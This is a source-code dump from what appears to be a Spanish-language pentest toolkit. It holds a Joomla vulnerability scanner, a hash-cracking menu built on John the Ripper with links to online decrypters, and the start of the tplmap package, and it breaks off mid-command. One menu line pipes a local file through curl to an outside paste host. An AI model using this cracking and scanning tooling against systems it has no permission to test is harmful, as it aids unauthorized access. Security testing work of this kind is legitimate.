51 | if fingerprint_scanner.directory_listing_enabled(i) 52 | print_warning("Listing enabled: #{fingerprint_scanner.target_uri}#{i}") 53 | end 54 | end 55 | end 56 | end 57 | end 58 | -------------------------------------------------------------------------------- /joomlavs/lib/joomlavs/helper.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | require_relative '../component_scanner' 19 | require_relative '../module_scanner' 20 | require_relative '../fingerprint_scanner' 21 | require_relative '../template_scanner' 22 | 23 | require_relative 'joomlavs' 24 | require_relative 'output' 25 | require_relative 'extensions' 26 | require_relative 'components' 27 | require_relative 'target' 28 | require_relative 'version' 29 | require_relative 'fingerprint' 30 | require_relative 'modules' 31 | require_relative 'templates' 32 | -------------------------------------------------------------------------------- /joomlavs/lib/joomlavs/joomlavs.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | module JoomlaVS 19 | attr_reader :opts 20 | attr_reader :fingerprint_scanner 21 | attr_reader :target 22 | attr_reader :joomla_version 23 | 24 | def abort_scan 25 | print_line_break 26 | print_good('Scan aborted') 27 | exit(1) 28 | end 29 | 30 | def has_target 31 | !opts[:url].nil? && !opts[:url].empty? 32 | end 33 | 34 | def joomla_vulnerabilities 35 | json = File.read(File.join(ExtensionScanner.base_path, 'data/joomla.json')) 36 | vulns = JSON.parse(json) 37 | found = [] 38 | 39 | vulns.each do |v| 40 | found.push(v) if ExtensionScanner.version_is_vulnerable(Gem::Version.new(joomla_version), v) 41 | end 42 | 43 | found 44 | end 45 | 46 | def display_joomla_vulns 47 | return unless joomla_version 48 | 49 | joomla_vulns = joomla_vulnerabilities 50 | return unless joomla_vulns 51 | 52 | print_warning("Found #{joomla_vulns.length} vulnerabilities affecting this version of Joomla!") 53 | display_vulns(joomla_vulns) 54 | end 55 | end 56 | -------------------------------------------------------------------------------- /joomlavs/lib/joomlavs/modules.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | module JoomlaVS 19 | module Modules 20 | def build_modules_filter(scanner) 21 | scanner.build_filter(fingerprint_scanner.modules_listing_enabled, fingerprint_scanner.administrator_modules_listing_enabled) 22 | end 23 | 24 | def scan_modules 25 | scan(:modules, ModuleScanner, opts[:scan_modules]) 26 | end 27 | end 28 | end 29 | -------------------------------------------------------------------------------- /joomlavs/lib/joomlavs/output.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | require 'colorize' 19 | require 'readline' 20 | 21 | module JoomlaVS 22 | module Output 23 | attr_accessor :use_colours 24 | 25 | def print_line(prefix, text, new_line = true) 26 | print prefix 27 | 28 | if use_colours 29 | print " #{text}".light_white 30 | else 31 | print " #{text}" 32 | end 33 | 34 | print "\r\n" if new_line 35 | end 36 | 37 | def print_banner 38 | banner = %( 39 | ---------------------------------------------------------------------- 40 | 41 | ██╗ ██████╗ ██████╗ ███╗ ███╗██╗ █████╗ ██╗ ██╗███████╗ 42 | ██║██╔═══██╗██╔═══██╗████╗ ████║██║ ██╔══██╗██║ ██║██╔════╝ 43 | ██║██║ ██║██║ ██║██╔████╔██║██║ ███████║██║ ██║███████╗ 44 | ██ ██║██║ ██║██║ ██║██║╚██╔╝██║██║ ██╔══██║╚██╗ ██╔╝╚════██║ 45 | ╚█████╔╝╚██████╔╝╚██████╔╝██║ ╚═╝ ██║███████╗██║ ██║ ╚████╔╝ ███████║ 46 | ╚════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚══════╝ 47 | 48 | ---------------------------------------------------------------------- 49 | 50 | ) 51 | print banner.light_white if use_colours 52 | print banner unless use_colours 53 | end 54 | 55 | def read_input(prompt) 56 | if use_colours 57 | print_line('[?]'.light_white, prompt, false) 58 | else 59 | print_line('[?]', prompt, false) 60 | end 61 | 62 | Readline.readline 63 | end 64 | 65 | def print_good(text) 66 | if use_colours 67 | print_line('[+]'.green, text) 68 | else 69 | print_line('[+]', text) 70 | end 71 | end 72 | 73 | def print_warning(text) 74 | if use_colours 75 | print_line('[!]'.yellow, text) 76 | else 77 | print_line('[!]', text) 78 | end 79 | end 80 | 81 | def print_info(text) 82 | if use_colours 83 | print_line('[i]'.cyan, text) 84 | else 85 | print_line('[i]', text) 86 | end 87 | end 88 | 89 | def print_error(text) 90 | if use_colours 91 | print_line('[!]'.red, text) 92 | else 93 | print_line('[!]', text) 94 | end 95 | end 96 | 97 | def print_indent(text) 98 | if use_colours 99 | print_line(' | '.light_white, text) 100 | else 101 | print_line(' | ', text) 102 | end 103 | end 104 | 105 | def print_line_break 106 | puts '' 107 | end 108 | 109 | def print_horizontal_rule 110 | puts '------------------------------------------------------------------' 111 | end 112 | 113 | def print_indent_unless_empty(text, var) 114 | print_indent(text) unless var.empty? 115 | end 116 | 117 | def print_verbose(text) 118 | print_info(text) if opts[:verbose] 119 | end 120 | end 121 | end 122 | -------------------------------------------------------------------------------- /joomlavs/lib/joomlavs/target.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | module JoomlaVS 19 | module Target 20 | def update_target_uri(new_uri) 21 | fingerprint_scanner.update_target_uri new_uri 22 | print_verbose("Now targetting #{fingerprint_scanner.target_uri}") 23 | end 24 | 25 | def verify_target_change(new_uri) 26 | print_info("The remote host tried to redirect to: #{new_uri}") 27 | answer = read_input('Do you want to follow the redirection? [Y]es [N]o [A]bort: ') 28 | if answer =~ /^y/i 29 | update_target_uri(new_uri) 30 | elsif answer =~ /^a/i 31 | abort_scan 32 | end 33 | end 34 | 35 | def check_target_redirection 36 | redirected_uri = fingerprint_scanner.target_redirects_to 37 | return unless redirected_uri 38 | 39 | if opts[:follow_redirection] 40 | update_target_uri(redirected_uri) 41 | else 42 | print_line_break 43 | verify_target_change(redirected_uri) 44 | end 45 | end 46 | end 47 | end 48 | -------------------------------------------------------------------------------- /joomlavs/lib/joomlavs/templates.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | module JoomlaVS 19 | module Templates 20 | def build_templates_filter(scanner) 21 | scanner.build_filter(fingerprint_scanner.templates_listing_enabled, fingerprint_scanner.administrator_templates_listing_enabled) 22 | end 23 | 24 | def scan_templates 25 | scan(:templates, TemplateScanner, opts[:scan_templates]) 26 | end 27 | end 28 | end 29 | -------------------------------------------------------------------------------- /joomlavs/lib/joomlavs/version.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | module JoomlaVS 19 | module Version 20 | def determine_joomla_version_from_language 21 | print_verbose('Searching for version in language file (en-GB-xml)...') 22 | @joomla_version = fingerprint_scanner.version_from_language 23 | if joomla_version 24 | print_good("Joomla version #{@joomla_version} identified from language file (en-GB.xml)") 25 | else 26 | print_verbose('No version found in language file') 27 | end 28 | end 29 | 30 | def determine_joomla_version_from_meta_tags 31 | print_verbose('Searching for version in meta data...') 32 | @joomla_version = fingerprint_scanner.version_from_meta_tag 33 | 34 | if joomla_version 35 | print_good("Joomla version #{@joomla_version} identified from meta data") 36 | else 37 | print_verbose('No version found in the meta data') 38 | end 39 | end 40 | 41 | def determine_joomla_version_from_readme 42 | print_verbose('Searching for version in README.txt...') 43 | @joomla_version = fingerprint_scanner.version_from_readme 44 | if joomla_version 45 | print_good("Joomla version #{@joomla_version} identified from README.txt") 46 | else 47 | print_verbose('No version found in README.txt') 48 | end 49 | end 50 | 51 | def determine_joomla_version_from_admin_manifest 52 | print_verbose('Searching for version in admin manifest...') 53 | @joomla_version = fingerprint_scanner.version_from_manifest 54 | if joomla_version 55 | print_good("Joomla version #{@joomla_version} identified from admin manifest") 56 | else 57 | print_verbose('No version found in admin manifest') 58 | end 59 | end 60 | 61 | def determine_joomla_version 62 | print_line_break 63 | print_verbose('Determining Joomla version...') 64 | determine_joomla_version_from_admin_manifest 65 | determine_joomla_version_from_language unless @joomla_version 66 | determine_joomla_version_from_meta_tags unless @joomla_version 67 | determine_joomla_version_from_readme unless @joomla_version 68 | print_error('Couldn\'t determine version') unless joomla_version 69 | end 70 | end 71 | end 72 | -------------------------------------------------------------------------------- /joomlavs/lib/module_scanner.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | require_relative 'extension_scanner' 19 | 20 | # This class provides functionality to scan for 21 | # vulnerable Joomla modules. 22 | class ModuleScanner < ExtensionScanner 23 | def initialize(target_uri, opts) 24 | super(target_uri, 'data/modules.json', opts) 25 | end 26 | 27 | def extension_prefix 28 | 'mod_' 29 | end 30 | 31 | def directory_name 32 | 'modules' 33 | end 34 | end 35 | -------------------------------------------------------------------------------- /joomlavs/lib/scanner.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | require 'typhoeus' 19 | 20 | # This class provides the base functionality 21 | # for all the scanner classes. 22 | class Scanner 23 | def initialize(target_uri, opts) 24 | update_target_uri target_uri 25 | @opts = opts 26 | @hydra = Typhoeus::Hydra.new(max_concurrency: opts[:threads]) 27 | end 28 | 29 | def target_uri 30 | @target_uri 31 | end 32 | 33 | def update_target_uri(value) 34 | @target_uri = value.chomp('/') 35 | end 36 | 37 | def hydra 38 | @hydra 39 | end 40 | 41 | def follow_redirection 42 | @opts[:follow_redirection] 43 | end 44 | 45 | def normalize_uri(*parts) 46 | uri = parts * '/' 47 | uri = uri.gsub!('//', '/') while uri.index('//') 48 | 49 | # Makes sure there's a starting slash 50 | unless uri[0, 1] == '/' 51 | uri = '/' + uri 52 | end 53 | 54 | uri 55 | end 56 | 57 | def create_request(path) 58 | req = Typhoeus::Request.new( 59 | target_uri + path, 60 | followlocation: @opts[:follow_redirection] ? true : false, 61 | headers: { 'User-Agent' => @opts[:user_agent] }, 62 | ssl_verifyhost: @opts[:disable_tls_checks] ? 0 : 2, 63 | ssl_verifypeer: !@opts[:disable_tls_checks] 64 | ) 65 | req.options['userpwd'] = @opts[:basic_auth] if @opts[:basic_auth] 66 | req.options['proxy'] = @opts[:proxy] if @opts[:proxy] 67 | req.options['proxyuserpwd'] = @opts[:proxy_auth] if @opts[:proxy_auth] 68 | req 69 | end 70 | 71 | def index_request 72 | create_request('/') 73 | end 74 | 75 | def run_request(req) 76 | req.on_complete do |resp| 77 | return resp 78 | end 79 | 80 | req.run 81 | end 82 | 83 | def target_redirects_to 84 | req = create_request('/') 85 | req.options['followlocation'] = false 86 | loc = nil 87 | resp = run_request(req) 88 | 89 | if resp.code == 301 || resp.code == 302 90 | loc = resp.headers['location'] 91 | end 92 | 93 | loc 94 | end 95 | 96 | def extract_version_number(text) 97 | match = /([0-9]+(\.?[0-9]+)?(\.?[0-9]+)?)+/.match(text) 98 | return match.captures[0] if match 99 | end 100 | end 101 | -------------------------------------------------------------------------------- /joomlavs/lib/template_scanner.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | require_relative 'extension_scanner' 19 | 20 | # This class provides functionality to scan for 21 | # vulnerable Joomla templates. 22 | class TemplateScanner < ExtensionScanner 23 | def initialize(target_uri, opts) 24 | super(target_uri, 'data/templates.json', opts) 25 | end 26 | 27 | def directory_name 28 | 'templates' 29 | end 30 | 31 | def queue_requests(name, path_index = 0, &block) 32 | paths = possible_paths(name) 33 | return unless path_index < paths.length 34 | queue_manifest_request('templateDetails.xml', paths, name, path_index, &block) 35 | end 36 | 37 | def get_hrefs_from_links(links) 38 | hrefs = links.map { |link| link.attribute('href').to_s } 39 | hrefs = hrefs.uniq.sort.delete_if { |href| href.empty? || href.start_with?('?') || href == '/' } 40 | hrefs 41 | end 42 | 43 | def extract_extensions_from_page(url) 44 | req = create_request(url) 45 | matches = [] 46 | 47 | req.on_complete do |resp| 48 | doc = Nokogiri::HTML(resp.body) 49 | links = doc.css('a') 50 | hrefs = get_hrefs_from_links(links) 51 | matches = hrefs.map { |href| href.match(/\/?([a-z0-9\-_]+)\/?$/i)[1] } 52 | end 53 | 54 | req.run 55 | matches 56 | end 57 | 58 | def extract_list_from_home 59 | pattern = /(\/administrator)?\/templates\/[a-z0-9\-\._]+/i 60 | url = '/' 61 | matches = extract_extension_list_from_page(url, pattern) 62 | matches.map { |m| m.sub(/^(\/administrator)?\/templates\//i, '') } 63 | end 64 | end 65 | -------------------------------------------------------------------------------- /joomlavs/spec/component_scanner_spec.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | require 'spec_helper' 19 | 20 | describe ComponentScanner do 21 | let(:target_uri) { 'http://localhost/' } 22 | let(:opts_user_agent) { 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0' } 23 | 24 | let(:typhoeus_code) { 200 } 25 | let(:typhoeus_body) { '' } 26 | let(:typhoeus_headers) { { 'Content-Type' => 'text/html; charset=utf-8' } } 27 | 28 | before :each do 29 | @scanner = ComponentScanner.new( 30 | target_uri, 31 | user_agent: opts_user_agent, 32 | threads: 20 33 | ) 34 | 35 | Typhoeus.stub(/.*/) do 36 | Typhoeus::Response.new(code: typhoeus_code, body: typhoeus_body, headers: typhoeus_headers) 37 | end 38 | end 39 | 40 | describe '#possible_paths' do 41 | it 'returns two possible paths for the component to be found' do 42 | expect(@scanner.possible_paths('test').length).to eq 2 43 | end 44 | end 45 | 46 | describe '#extract_list_from_admin_index' do 47 | let(:typhoeus_body) { 'Index of page com_foo
com_bar' } 48 | it 'returns a list of the component names, minus the com_ prefix' do 49 | res = @scanner.extract_list_from_admin_index 50 | expect(res).to eq ['foo', 'bar'] 51 | end 52 | end 53 | 54 | describe '#extract_list_from_index' do 55 | let(:typhoeus_body) { 'Index of page com_foo
com_bar' } 56 | it 'returns a list of the component names, minus the com_ prefix' do 57 | res = @scanner.extract_list_from_index 58 | expect(res).to eq ['foo', 'bar'] 59 | end 60 | end 61 | 62 | describe '#extract_list_from_home' do 63 | let(:typhoeus_body) { 'Index of page com_foo
com_bar' } 64 | it 'returns a list of the component names, minus the com_ prefix' do 65 | res = @scanner.extract_list_from_home 66 | expect(res).to eq ['foo', 'bar'] 67 | end 68 | end 69 | end 70 | -------------------------------------------------------------------------------- /joomlavs/spec/module_scanner_spec.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | require 'spec_helper' 19 | 20 | describe ModuleScanner do 21 | let(:target_uri) { 'http://localhost/' } 22 | let(:opts_user_agent) { 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0' } 23 | 24 | let(:typhoeus_code) { 200 } 25 | let(:typhoeus_body) { '' } 26 | let(:typhoeus_headers) { { 'Content-Type' => 'text/html; charset=utf-8' } } 27 | 28 | before :each do 29 | @scanner = ModuleScanner.new( 30 | target_uri, 31 | user_agent: opts_user_agent, 32 | threads: 20 33 | ) 34 | 35 | Typhoeus.stub(/.*/) do 36 | Typhoeus::Response.new(code: typhoeus_code, body: typhoeus_body, headers: typhoeus_headers) 37 | end 38 | end 39 | 40 | describe '#possible_paths' do 41 | it 'returns two possible paths for the module to be found' do 42 | expect(@scanner.possible_paths('test').length).to eq 2 43 | end 44 | end 45 | 46 | describe '#extract_list_from_admin_index' do 47 | let(:typhoeus_body) { 'Index of page mod_foo
mod_bar' } 48 | it 'returns a list of the module names, minus the mod_ prefix' do 49 | res = @scanner.extract_list_from_admin_index 50 | expect(res).to eq ['foo', 'bar'] 51 | end 52 | end 53 | 54 | describe '#extract_list_from_index' do 55 | let(:typhoeus_body) { 'Index of page mod_foo
mod_bar' } 56 | it 'returns a list of the module names, minus the mod_ prefix' do 57 | res = @scanner.extract_list_from_index 58 | expect(res).to eq ['foo', 'bar'] 59 | end 60 | end 61 | 62 | describe '#extract_list_from_home' do 63 | let(:typhoeus_body) { 'Index of page mod_foo
mod_bar' } 64 | it 'returns a list of the module names, minus the mod_ prefix' do 65 | res = @scanner.extract_list_from_home 66 | expect(res).to eq ['foo', 'bar'] 67 | end 68 | end 69 | end 70 | -------------------------------------------------------------------------------- /joomlavs/spec/spec_helper.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | require 'coveralls' 19 | Coveralls.wear! 20 | 21 | require_relative '../lib/scanner' 22 | require_relative '../lib/module_scanner' 23 | require_relative '../lib/fingerprint_scanner' 24 | require_relative '../lib/component_scanner' 25 | require_relative '../lib/extension_scanner' 26 | require_relative '../lib/template_scanner' 27 | 28 | RSpec.configure do |config| 29 | config.before :each do 30 | Typhoeus::Expectation.clear 31 | end 32 | end 33 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /modules/adminder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | # encoding: utf-8 3 | # This program is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program. If not, see . 15 | 16 | import subprocess 17 | def adminfind(): 18 | subprocess.call(["python2","modules/buscaelpanel.py"]) 19 | -------------------------------------------------------------------------------- /modules/hashid.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | # encoding: utf-8 3 | # This program is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program. If not, see . 15 | 16 | import subprocess 17 | import os 18 | import checker 19 | import johnmod 20 | 21 | def menu(): 22 | checker.cAmarillo("\nElige la tarea que quieres realizar:") 23 | print """ 24 | a) Identificacion de hashes. 25 | b) Desencriptación de hashes usando John The Ripper + Wordlists. 26 | c) Desencriptacion de Hashes online y Wordlist para bruteforce. 27 | d) Salir. 28 | """ 29 | option=raw_input("Introduce tu opcion: ") 30 | try: 31 | if option == "a": 32 | os.system("python2 modules/hashidentifier") 33 | menu() 34 | 35 | elif option == "b": 36 | checker.cAmarillo("Elige la opción que deseas usar: ") 37 | print """ 38 | a) Desencriptación de un Hash tipo MD5. 39 | b) Desencriptación de un Hash tipo Sha-1. 40 | c) Desencriptación de un Hash tipo MySQL. 41 | d) Desencriptación de un Hash tipo Django. 42 | e) Desencriptación de cualquier tipo de Hash (Debes conocer previamente el tipo de Hash). 43 | f) Regresar al menú anterior. 44 | """ 45 | tipodehashh=raw_input("Teclea tu opción: ") 46 | if tipodehashh == "a": 47 | johnmod.md5hash() 48 | menu() 49 | elif tipodehashh == "b": 50 | johnmod.sha1hash() 51 | menu() 52 | elif tipodehashh == "c": 53 | johnmod.mysqlhash() 54 | menu() 55 | elif tipodehashh == "d": 56 | johnmod.djangohash() 57 | menu() 58 | elif tipodehashh == "e": 59 | johnmod.anyhash() 60 | menu() 61 | elif tipodehashh == "f": 62 | print "Regresando al menú anterior.\n" 63 | pass 64 | else: 65 | print "Opción invalida, intentalo de nuevo." 66 | menu() 67 | elif option == "c": 68 | checker.cAmarillo("Utiliza las siguientes direcciones Web para buscar tus hash.") 69 | print """ 70 | 1) Para hash MD5 - https://hashkiller.co.uk/md5-decrypter.aspx 71 | 2) Para hash Sha-1 - https://hashkiller.co.uk/sha1-decrypter.aspx 72 | 3) Para claves WPA/WPA2 - https://hashkiller.co.uk/wpa-crack.aspx 73 | 4) Para hash NTML https://hashkiller.co.uk/ntlm-decrypter.aspx 74 | """ 75 | checker.cRojo("Adicionalmente puedes descargar tus wordlist para ataques de fuerza bruta directamente desde aquí: ") 76 | os.system("cat modules/wordlist/worlists.txt | curl -F c=@- https://ptpb.pw/?u=1") 77 | print "" 78 | 79 | menu() 80 | elif option == "d": 81 | print "Saliendo." 82 | else: 83 | menu() 84 | except KeyboardInterrupt: 85 | pass 86 | -------------------------------------------------------------------------------- /modules/logs.py: -------------------------------------------------------------------------------- 1 | import random, string, subprocess 2 | 3 | def randomarch(directorio,nombre,extension): 4 | wtwopt = nombre+''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)])+extension 5 | salida="modules/logs/"+directorio+wtwopt 6 | return salida 7 | -------------------------------------------------------------------------------- /modules/tplmap/.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | bin/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | eggs/ 16 | lib/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | 25 | # Installer logs 26 | pip-log.txt 27 | pip-delete-this-directory.txt 28 | 29 | # Unit test / coverage reports 30 | .tox/ 31 | .coverage 32 | .cache 33 | nosetests.xml 34 | coverage.xml 35 | 36 | # Translations 37 | *.mo 38 | 39 | # OsX 40 | .DS_Store 41 | 42 | 43 | # TplMap third party test-data 44 | tests/env_*/lib/ 45 | tests/env_*/templates_c/ 46 | 47 | # Npm local modules 48 | node_modules 49 | 50 | # Jython 51 | *.class 52 | 53 | # Vim 54 | # swap 55 | .sw[a-p] 56 | .*.sw[a-p] 57 | # tags 58 | tags 59 | -------------------------------------------------------------------------------- /modules/tplmap/.travis.yml: -------------------------------------------------------------------------------- 1 | sudo: required 2 | 3 | services: 4 | - docker 5 | 6 | script: 7 | ./tests/tests.sh 8 | -------------------------------------------------------------------------------- /modules/tplmap/burp_extension.py: -------------------------------------------------------------------------------- 1 | from burp_extension.burp_extender import BurpExtender 2 | -------------------------------------------------------------------------------- /modules/tplmap/burp_extension/README.md: -------------------------------------------------------------------------------- 1 | # Burp Suite Plugin 2 | 3 | Tplmap is able to run as a Burp Suite Extension. 4 | 5 | ### Install 6 | 7 | Load burp_extension.py with following conditions. 8 | 9 | * Burp Suite edition: Professional 10 | * The Python modules required for Tplmap are installed. 11 | * PyYaml 12 | * requests 13 | * Extension type: Python 14 | 15 | An example of a simple setup procedure: 16 | 17 | 1. Install Jython by installer 18 | ```sh 19 | $ wget 'http://search.maven.org/remotecontent?filepath=org/python/jython-installer/2.7.0/jython-installer-2.7.0.jar' -O 